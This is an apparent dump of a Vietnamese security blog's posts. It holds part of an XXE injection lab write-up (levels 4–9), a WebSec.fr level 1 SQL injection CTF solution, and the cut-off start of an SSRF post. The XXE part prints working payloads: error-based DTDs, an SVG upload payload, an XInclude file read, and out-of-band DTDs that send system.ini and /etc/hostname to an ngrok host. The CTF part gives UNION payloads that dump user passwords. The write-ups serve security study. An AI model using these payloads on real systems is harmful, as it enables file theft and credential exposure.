dbf.setFeature(\u0026#34;http://xml.org/sax/features/external-parameter-entities\u0026#34;, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); return dbf.newDocumentBuilder(); } Nó đã sử dụng bật tắt các feature để cấm XXE như là :\nhttp://apache.org/xml/features/disallow-doctype-decl http://xml.org/sax/features/external-general-entities http://xml.org/sax/features/external-parameter-entities setXIncludeAware(false) setExpandEntityReferences(false) newDocumentBuilder() Từ đó thành công ngăn chặn đi các payload XXE được inject vào nên dù test với payload nào cũng sẽ bị chặn lại.\nLevel 4 secure vì:\nLoại bỏ DOCTYPE (gốc của XXE entity) Vô hiệu hóa external entities (kể cả nếu ai đó bật lại DOCTYPE) Tắt XInclude Không mở kênh schema / stylesheet → Tất cả vector XXE phổ biến bị triệt.\nLevel 5: public String parseLevel5(String xml) { try { // Vulnerable parser, but the response doesn\u0026#39;t show the content createVulnerableBuilder().parse(new InputSource(new StringReader(xml))); return \u0026#34;Data processed successfully.\u0026#34;; // No content is returned } catch (Exception e) { return \u0026#34;Error: \u0026#34; + e.getMessage(); } } Ở đây theo phân tích code thì ta thấy rằng:\nDùng parser “vulnerable” (DocumentBuilder mặc định) → CHO PHÉP DOCTYPE + external entity. KHÔNG in ra nội dung XML. Vì không trả về nội dung XML nên ta có thể suy đoán tình huống này là Blind XXE với tình huống này ta sẽ nghĩ cách để đưa được output ra ngoài hoặc ta sẽ làm nó tạo ra lỗi và vô tình in ra kết quả (Error Based).\nTa sẽ sử dụng webhook để tiến hành tấn công thử.\nTạo một url mới của webhook có chứa nội dung xml payload:\n\u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///C:/Windows/win.ini\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; error SYSTEM \u0026#39;file:///%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; %error; Sau đó đưa payload khác gọi đến webhook với mong muốn là nó sẽ nổ lỗi kèm theo đó là kết quả hoặc là kết quả sẽ được trả về trong response:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;https://webhook.site/89cc7c4f-6ced-454a-9261-80bcea95157e\u0026#34;\u0026gt; %remote; ]\u0026gt; \u0026lt;root/\u0026gt; Thành công tạo ra lỗi kèm theo đó nó trả về dữ liệu ở đây là trường hợp Error Based.\nLevel 6: public String parseLevel6(String xml) { // This level has a specific configuration that reveals errors try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // It allows external DTDs but might have issues resolving them, leading to errors dbf.setFeature(\u0026#34;http://xml.org/sax/features/external-general-entities\u0026#34;, true); DocumentBuilder dBuilder = dbf.newDocumentBuilder(); dBuilder.parse(new InputSource(new StringReader(xml))); return \u0026#34;Data processed.\u0026#34;; } catch (Exception e) { // The error message itself is the vulnerability return \u0026#34;An exception occurred: \u0026#34; + e.toString(); } } Ta để ý rằng dòng dbf.setFeature(\u0026quot;http://xml.org/sax/features/external-general-entities\u0026quot;, true đã mở đường cho phép các lệnh như SYSTEM được chạy bình thường và điều này gây nên XXE injection. Nhưng ở đây nó có thay đổi ở đoạn trả về lỗi nó sẽ trả về thông điệp kèm theo lý do lỗi,\nTuy có thay đổi về code nhưng cách khai thác vẫn có lẽ sẽ không khác gì với level 6 vì ta vẫn có thể Error Based XXE được.\nTest lại với payload cũ thì phần error sẽ vẫn kèm theo nội dung của câu payload gắn trong webhook.\nLevel 7: public String parseSvg(String svgContent) { try { Document doc = createVulnerableBuilder().parse(new InputSource(new StringReader(svgContent))); // Simulate rendering the SVG, which might trigger the XXE return \u0026#34;SVG file processed. It contains \u0026#34; + doc.getElementsByTagName(\u0026#34;*\u0026#34;).getLength() + \u0026#34; elements.\u0026#34;; } catch (Exception e) { return \u0026#34;Error processing SVG: \u0026#34; + e.getMessage(); } } Vector Tấn Công: Không còn là một payload XML thô nữa. Lần này, server mong đợi nhận được nội dung của một file SVG (Scalable Vector Graphics). Điều may mắn là SVG về bản chất chính là một file XML. Điều này có nghĩa là chúng ta có thể nhúng payload DTD độc hại của mình vào bên trong một file SVG hợp lệ. Cửa Ngõ XXE: Hàm createVulnerableBuilder() vẫn còn đó, đảm bảo rằng nếu chúng ta đưa một DTD vào, nó sẽ được xử lý. Với suy nghĩ của tôi chắc là nên tận dụng thử payload của level 6 với level này xem liệu nó sẽ trả về gì vì đây là chức năng upload file SVG.\nĐầu tiên ta vẫn sẽ tạo url trong webhook với application/xml với nội dung là:\n\u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///C:/Windows/win.ini\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; error SYSTEM \u0026#39;file:///%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; %error; Sau đó thì tạo file payload.svg với nội dung:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; standalone=\u0026#34;yes\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;https://webhook.site/08d61cbd-3978-4049-8c79-387217b982f1\u0026#34;\u0026gt; %remote; ]\u0026gt; \u0026lt;svg width=\u0026#34;200\u0026#34; height=\u0026#34;200\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u0026gt; \u0026lt;circle cx=\u0026#34;100\u0026#34; cy=\u0026#34;100\u0026#34; r=\u0026#34;80\u0026#34; fill=\u0026#34;red\u0026#34; /\u0026gt; \u0026lt;/svg\u0026gt; Sau đó ta sẽ tiến hành upload xem nội dung nó trả về sẽ là gì.\nCó vẻ payload đã thành công đưa ra kết quả.\nLevel 8: Ở level này ta sẽ tìm ra được cách tấn công mới hơn.\npublic String parseLevel8(String xml) { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // DTDs are disabled, but XInclude is enabled! dbf.setFeature(\u0026#34;http://apache.org/xml/features/disallow-doctype-decl\u0026#34;, true); dbf.setXIncludeAware(true); // The vulnerability! dbf.setNamespaceAware(true); // Required for XInclude DocumentBuilder dBuilder = dbf.newDocumentBuilder(); Document doc = dBuilder.parse(new InputSource(new StringReader(xml))); return \u0026#34;XInclude Parsed: \u0026#34; + doc.getDocumentElement().getTextContent(); } catch (Exception e) { return \u0026#34;Error: \u0026#34; + e.getMessage(); } } disallow-doctype-decl\u0026quot;, true: Dòng này vô hiệu hóa hoàn toàn \u003c!DOCTYPE ...\u003e. Tất cả các payload dựa trên DTD (\u003c!ENTITY ...\u003e) của chúng ta từ Level 1 đến 7 đều trở nên vô dụng. Server sẽ báo lỗi ngay nếu thấy DOCTYPE. setXIncludeAware(true): Đây là lỗ hổng mới! XInclude (XML Inclusions) là một tính năng tiêu chuẩn của XML, cho phép một file XML nhúng (include) nội dung của một file khác vào bên trong nó. Khi bật tính năng này mà không có kiểm soát, nó sẽ hoạt động y hệt như XXE: đọc file cục bộ hoặc thực hiện request ra bên ngoài. doc.getDocumentElement().getTextContent(): Đây là kênh rò rỉ dữ liệu In-band! Server không chỉ xử lý file được include, mà còn lấy nội dung text của nó (getTextContent()) và trả về trực tiếp cho chúng ta. Đây là kịch bản khai thác dễ nhất, không cần dùng đến error-based hay out-of-band. Kịch bản ở đây ta sẽ lợi dụng XML Inclusion để tiến hành tấn công khai thác thử level này.\nChúng ta sẽ tạo một payload XML đơn giản sử dụng cú pháp của XInclude để đọc file win.ini.\nCú pháp của XInclude gồm 2 phần:\nKhai báo namespace: xmlns:xi=\u0026ldquo;http://www.w3.org/2001/XInclude\u0026quot; Thẻ include: \u0026lt;xi:include href=\u0026ldquo;URI_CẦN_ĐỌC\u0026rdquo; parse=\u0026ldquo;text\u0026rdquo;/\u0026gt; href: Đường dẫn đến file cần đọc. parse=\u0026ldquo;text\u0026rdquo;: Cực kỳ quan trọng. Nó bảo parser hãy coi nội dung file là văn bản thô, đừng cố phân tích nó như XML (vì win.ini không phải là XML). Ta sẽ có 1 payload như này:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;data xmlns:xi=\u0026#34;http://www.w3.org/2001/XInclude\u0026#34;\u0026gt; \u0026lt;xi:include href=\u0026#34;file:///C:/Windows/win.ini\u0026#34; parse=\u0026#34;text\u0026#34;/\u0026gt; \u0026lt;/data\u0026gt; Tiến hành inject vào.\nThành công khai thác level 8.\nLevel 9: Đến với level 9 thì bây giờ sẽ là challenge thuần blind khi mà sau khi parse sẽ không trả về kết quả và sẽ không báo lỗi nữa.\npublic String parseLevel9(String xml) { try { createVulnerableBuilder().parse(new InputSource(new StringReader(xml))); return \u0026#34;Request processed.\u0026#34;; } catch (Exception e) { // Lỗi bị \u0026#34;nuốt\u0026#34;, chỉ trả về thông báo chung chung return \u0026#34;Request processed.\u0026#34;; } } Nhưng ở đây sẽ vẫn tồn tại lỗ hổng tại vì vẫn sử dụng createVulnerableBuilder() nên hoàn toàn có thể tìm cách để thay vì đưa được output hiển thị ở lỗi như level 5,6 thì ta có thể thử sử dụng OOB (Out Of Band). Với mục đích đưa được output ra bên ngoài vì ở đây phần result không hiển thị rõ kết quả vè eror cũng bị chặn hết nên ta sẽ không thể error based nữa.\nSau khi tham khảo các nguồn thì tôi sẽ thử OOB trường hợp này mình sẽ gửi result ra bằng http liệu xem nó sẽ trả về cái gì.\nTiến hành host 1 python server đến port 8000 ở folder mà ta để payload.\nSử dụng ngrok để listen port 8000 và tạo tunnel đưa nó ra ngoài.\nTạo file exploit.dtd với nội dung trên:\n\u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///C:/Windows/system.ini\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; exfiltrate SYSTEM \u0026#39;https://eparchial-dahlia-edgier.ngrok-free.dev/?x=%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; %exfiltrate; Tiến hành payload cho ngrok trỏ đến file và khi nó get về nó sẽ thực thi file dtd và mong nó sẽ trả result trong request.\nCó vẻ như thành công GET file nhưng không hề có thông tin nào được trả về. Ở đây sau khi thử vài cách về đọc file nhưng không hề được thì mình đang nghĩ là do cấu hình Spring không cho phép thực thì dtd đọc file nên mình sẽ thử cách khác là SSRF bằng cách thử ping.\nVẫn như trên ta sẽ tạo python server sau đó đưa nó qua ngrok listen sau đó tạo file ping.dtd với nội dung:\n\u0026lt;!ENTITY % ping SYSTEM \u0026#34;https://eparchial-dahlia-edgier.ngrok-free.dev/ping-successful\u0026#34;\u0026gt; Payload này sẽ cố đọc ping.dtd, server lab hiểu lệnh bên trong (\u003c!ENTITY % ping SYSTEM \".../ping-successful\"\u003e) và đã thực thi nó. Nó sẽ gửi đi một request thứ hai đến địa chỉ /ping-successful.\nTa có kết quả sau khi tiến hành sử dụng payload:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE data [ \u0026lt;!ENTITY % oob SYSTEM \u0026#34;https://eparchial-dahlia-edgier.ngrok-free.dev/ping.dtd\u0026#34;\u0026gt; %oob; %ping; ]\u0026gt; \u0026lt;data\u0026gt;test\u0026lt;/data\u0026gt; 1. ::1 - - [02/Oct/2025 17:29:25] \u0026ldquo;GET /ping.dtd HTTP/1.1\u0026rdquo; 200 -\nÝ nghĩa: Server lab đã kết nối đến server python và tải thành công file ping.dtd. Status 200 có nghĩa là \u0026ldquo;OK\u0026rdquo;. 2. ::1 - - [02/Oct/2025 17:29:25] \u0026ldquo;GET /ping-successful HTTP/1.1\u0026rdquo; 404 -\nÝ nghĩa: Đây là dòng quan trọng nhất. Sau khi đọc ping.dtd, server lab đã hiểu lệnh bên trong (\u003c!ENTITY % ping SYSTEM \".../ping-successful\"\u003e) và đã thực thi nó. Nó đã gửi đi một request thứ hai đến địa chỉ /ping-successful. Tại sao lại là 404? Vì trên server python không hề có file nào tên là ping-successful. Server python trả về lỗi \u0026ldquo;404 File Not Found\u0026rdquo; là hoàn toàn đúng.\nKết luận: Thành công sử dụng XXE để thực thi Blind SSRF vì ta có thể thấy xml payload trong ping.dtd vẫn được thực thi và trỏ đến xem có file /ping-successful không và từ đó có thể thấy xml trong đoạn vẫn được thực thi nhưng ở đây có khả năng cao do cấu hình của Spring không còn cho phép thực thi các lệnh như file nên không đọc file được. Bây giờ nếu windows không được ta sẽ chuyển sang thử môi trường linux để xem liệu có chạy được không.\nHost python server lên.\nTạo file exploit-linux.dtd với nội dung:\n\u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///etc/hostname\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; exfiltrate SYSTEM \u0026#39;https://eparchial-dahlia-edgier.ngrok-free.dev/%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; %exfiltrate; `` Payload này sẽ giúp ta đọc dữ liệu của file `/etc/hostname`. Bây giờ ta sẽ bỏ payload vào trong level 9 để xem dữ liệu trả về ra sao. ```xml \u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE data [ \u0026lt;!ENTITY % oob SYSTEM \u0026#34;http://localhost:8000/exploit-linux.dtd\u0026#34;\u0026gt; %oob; ]\u0026gt; \u0026lt;data\u0026gt;go\u0026lt;/data\u0026gt; Thành công đọc được file hostname.\nTừ đây tôi khá chắc là nếu file hostname thành công mà những file dài không có kết quả thì khả năng cao là nếu file quá dài và nhiều kí tự thì sẽ khó để mà đọc được nên khả năng nếu sử dung ftp protocol thì khả năng cao sẽ có thể đọc được những file dài.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-28-xxe-injection/","summary":"\u003ch1 id=\"xxe-injection-vulnerability-lab\"\u003eXXE Injection Vulnerability Lab\u003c/h1\u003e\n\u003ch3 id=\"xxe-injection-là-gì\"\u003eXXE Injection là gì?\u003c/h3\u003e\n\u003cp\u003eXXE (XML External Entity) Injection là một lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào quá trình một ứng dụng xử lý dữ liệu XML. Lỗ hổng này xảy ra khi một trình phân tích (parser) XML được cấu hình yếu xử lý các thực thể bên ngoài (external entities) do người dùng cung cấp trong tài liệu XML.\u003c/p\u003e","title":"XXE Injection Vulnerability Lab"},{"content":"WebSec.fr level 1 CTF challenge Overview Giao diện chức năng của level này ta có thể thấy nó là một web app có chức năng hiển thị username bằng cách nhập vào userID nên bước đầu ta có thể nghi ngờ nó dính Sql Injection.\nPhân tích source code \u0026lt;?php session_start (); ini_set(\u0026#39;display_errors\u0026#39;, \u0026#39;on\u0026#39;); ini_set(\u0026#39;error_reporting\u0026#39;, E_ALL); include \u0026#39;anti_csrf.php\u0026#39;; init_token (); class LevelOne { public function doQuery($injection) { $pdo = new SQLite3(\u0026#39;database.db\u0026#39;, SQLITE3_OPEN_READONLY); $query = \u0026#39;SELECT id,username FROM users WHERE id=\u0026#39; . $injection . \u0026#39; LIMIT 1\u0026#39;; $getUsers = $pdo-\u0026gt;query($query); $users = $getUsers-\u0026gt;fetchArray(SQLITE3_ASSOC); if ($users) { return $users; } return false; } } if (isset ($_POST[\u0026#39;submit\u0026#39;]) \u0026amp;\u0026amp; isset ($_POST[\u0026#39;user_id\u0026#39;])) { check_and_refresh_token(); $lo = new LevelOne (); $userDetails = $lo-\u0026gt;doQuery ($_POST[\u0026#39;user_id\u0026#39;]); } ?\u0026gt; Challenge cung cấp cho ta đoạn source code của của web app với logic được xử lý bằng php và ta có thể thấy rằng trường userID được query bằng SQLITE3.\nsession_start(): Khởi tạo phiên làm việc cho người dùng.\nini_set(\u0026lsquo;display_errors\u0026rsquo;, \u0026lsquo;on\u0026rsquo;): Hiển thị lỗi PHP (hữu ích khi debug, nhưng không nên bật trong môi trường production).\ninclude \u0026lsquo;anti_csrf.php\u0026rsquo;: Bao gồm file chống CSRF (Cross-Site Request Forgery).\ninit_token(): Khởi tạo token CSRF.\nTa để ý ở câu Sql Query:\n$query = \u0026#39;SELECT id,username FROM users WHERE id=\u0026#39; . $injection . \u0026#39; LIMIT 1\u0026#39;; Có thể thấy rằng biến $injection được truyền thẳng vào mà không có một bước kiểm tra hay filter nào và nó được đưa thẳng vào query từ đó mở ra khả năng Sql Injection.\nKhai thác và POC Ta sẽ tiến hành thử inject payload 1 UNION SELECT null, sqlite_version(); -- - xem liệu có trả về giá trị không.\nỞ đây ta có thể thấy nhờ query UNION nó đã hợp 2 bảng lại vè đưa id về null còn kết quả của câu lệnh sqlite_version(); đã được đưa vào giá trị thứ 2 và nó trả về kết quả.\nỞ đây ta để ý dòng LIMIT 1 nó sẽ khiến sql chỉ trả về dòng đầu tiên ở đây nếu nhập id bằng 1 thì nó sẽ chỉ trả dòng đầu tiên sau khi truy vấn id =1.\n1222 UNION SELECT username,password FROM users LIMIT 2,1 -- - ta sẽ thử inject payload này ở đây mình sử dụng LIMIT 2,1 với mục đích cho nó hiển thị 3 dòng và dùng id là 1222 là một id không tồn tại để nó trả về đầy đủ LIMIT 2,1 trong phần UNION SELECT sẽ ghi đè lên LIMIT 1 của truy vấn gốc, vì SQLite xử lý UNION như một tập hợp kết quả, và LIMIT áp dụng cho toàn bộ tập hợp đó.\nThành công lấy ra được flag.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-26-websecfr-level1/","summary":"\u003ch1 id=\"websecfr-level-1-ctf-challenge\"\u003eWebSec.fr level 1 CTF challenge\u003c/h1\u003e\n\u003ch3 id=\"overview\"\u003eOverview\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/Sk1nSnX3xg.png\"\u003e\u003c/p\u003e\n\u003cp\u003eGiao diện chức năng của level này ta có thể thấy nó là một web app có chức năng hiển thị username bằng cách nhập vào userID nên bước đầu ta có thể nghi ngờ nó dính Sql Injection.\u003c/p\u003e\n\u003ch3 id=\"phân-tích-source-code\"\u003ePhân tích source code\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"nx\"\u003ephp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003esession_start\u003c/span\u003e \u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eini_set\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;display_errors\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;on\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eini_set\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;error_reporting\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003eE_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003einclude\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;anti_csrf.php\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003einit_token\u003c/span\u003e \u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eLevelOne\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003edoQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$injection\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$pdo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eSQLite3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;database.db\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eSQLITE3_OPEN_READONLY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$query\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;SELECT id,username FROM users WHERE id=\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nv\"\u003e$injection\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39; LIMIT 1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$getUsers\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$pdo\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003equery\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$query\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$users\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$getUsers\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003efetchArray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eSQLITE3_ASSOC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$users\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$users\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_POST\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;submit\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_POST\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003echeck_and_refresh_token\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$lo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eLevelOne\u003c/span\u003e \u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$userDetails\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$lo\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003edoQuery\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_POST\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eChallenge cung cấp cho ta đoạn source code của của web app với logic được xử lý bằng php và ta có thể thấy rằng trường userID được query bằng SQLITE3.\u003c/p\u003e","title":"WebSec.fr level 1 CTF challenge"},{"content":"Server Side Request Forgery (Java) Source Code Github: https://github.com/pzhat/SSRF_vuln_demo\nWhat is SSRF Giới thiệu về Server-Side Request Forgery :\nChúng ta có xu hướng lơ là, mất cảnh giác khi đang trong vùng an toàn\n→ Developer nghĩ rằng hacker sẽ 